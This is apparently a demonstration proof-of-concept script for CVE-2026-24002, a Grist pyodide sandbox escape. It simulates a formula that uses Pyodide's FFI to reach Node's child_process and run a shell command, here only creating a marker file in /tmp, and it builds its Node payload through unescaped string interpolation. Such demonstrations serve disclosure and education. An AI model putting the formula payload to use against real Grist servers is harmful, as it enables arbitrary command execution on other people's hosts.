Vulnerable code sample

import os
import subprocess
import sys

# This code is a conceptual representation of CVE-2026-24002.
# It simulates a Grist server configured to use the vulnerable 'pyodide' sandbox.
#
# To run this demonstration:
# 1. Make sure you have Node.js installed.
# 2. Set the environment variable: export GRIST_SANDBOX_FLAVOR="pyodide"
# 3. Run the script: python vulnerable_grist_server_poc.py
# 4. Check for a newly created file: ls /tmp/pwned_by_cve

def execute_in_secure_sandbox(formula_code):
    """Simulates a secure sandbox like 'gvisor' or the fixed 'deno' based pyodide."""
    print("[SERVER] Attempting to execute formula in a SECURE sandbox...")
    print("[SECURE SANDBOX] Execution blocked. Access to host system is denied.")
    # In a real secure sandbox, this would either fail or run in an isolated environment.

def execute_in_vulnerable_pyodide_sandbox(formula_code):
    """
    Simulates the vulnerable 'pyodide' sandbox environment as described in the CVE.
    The Grist server would run a Node.js process to host the Pyodide environment.
    Crucially, this Node.js process was not properly sandboxed and had access
    to Node.js's powerful APIs like 'child_process'.
    """
    print("\n[SERVER] WARNING: Using vulnerable 'pyodide' sandbox flavor.")
    print(f"[SERVER] Received formula to execute: {formula_code}")

    # A malicious formula would use Pyodide's ability to interact with JavaScript
    # to access and use Node.js's `require`. This allows importing `child_process`.
    # For this PoC, we extract the intended shell command from the formula
    # to construct the Node.js payload that Grist would have been tricked into running.
    try:
        # A simple parser to get the shell command from the Python/JS interop call.
        command_to_run = formula_code.split("execSync('")[1].split("')")[0]
    except IndexError:
        print("[SERVER] PoC could not parse the command from the formula.")
        return

    print(f"[SERVER] The malicious formula intends to execute the host command: '{command_to_run}'")
    print("[SERVER] Spawning a Node.js process to run the 'sandbox'...")

    # This is the core of the vulnerability. The Python server shells out to an
    # unsandboxed Node.js process, which can then be controlled by the user's formula.
    node_script_payload = f"""
    console.log('[NODE SANDBOX] Process started. Evaluating user code...');
    try {{
        // The malicious formula gains access to Node's 'require'.
        const {{ execSync }} = require('child_process');
        console.log('[NODE SANDBOX] Vulnerability success! `child_process` module was imported.');
        
        // The command extracted from the user's formula is executed.
        console.log('[NODE SANDBOX] Executing command on the host system:', '{command_to_run}');
        execSync('{command_to_run}');
        
        console.log('[NODE SANDBOX] Command executed successfully.');
    }} catch (error) {{
        console.error('[NODE SANDBOX] An error occurred:', error.message);
        // Even if it errors, the import attempt proves the vulnerability.
    }}
    """

    try:
        subprocess.run(
            ["node", "-e", node_script_payload],
            check=True,
            capture_output=True,
            text=True
        )
        print("[SERVER] Node.js sandbox process finished.")
        print(f"[SERVER] Vulnerability exploited. Check if the command '{command_to_run}' was executed on the host.")
    except FileNotFoundError:
        print("\n[ERROR] Node.js not found. Please install Node.js to run this PoC.", file=sys.stderr)
    except subprocess.CalledProcessError as e:
        print("\n[ERROR] The Node.js process failed.", file=sys.stderr)
        print(e.stderr, file=sys.stderr)


if __name__ == "__main__":
    # This simulates a malicious document being opened. The formula contains the payload.
    # The payload is Python code that uses Pyodide's FFI (Foreign Function Interface)
    # to get a proxy to JavaScript's `require`, then imports `child_process` and
    # calls `execSync` to run an arbitrary shell command.
    malicious_formula = "__import__('pyodide').ffi.create_proxy(require('child_process')).execSync('touch /tmp/pwned_by_cve')"

    # Grist server checks this environment variable to decide which sandbox to use.
    sandbox_flavor = os.environ.get("GRIST_SANDBOX_FLAVOR")

    print("--- Grist Server Vulnerability Demonstration (CVE-2026-24002) ---")

    if sandbox_flavor == "pyodide":
        # This branch simulates the vulnerable configuration.
        execute_in_vulnerable_pyodide_sandbox(malicious_formula)
    else:
        # This branch simulates a safe configuration (e.g., 'gvisor' or the patched Grist).
        print(f"\n[SERVER] Secure sandbox flavor '{sandbox_flavor or 'default'}' is configured.")
        execute_in_secure_sandbox(malicious_formula)

    print("\n--- Demonstration Finished ---")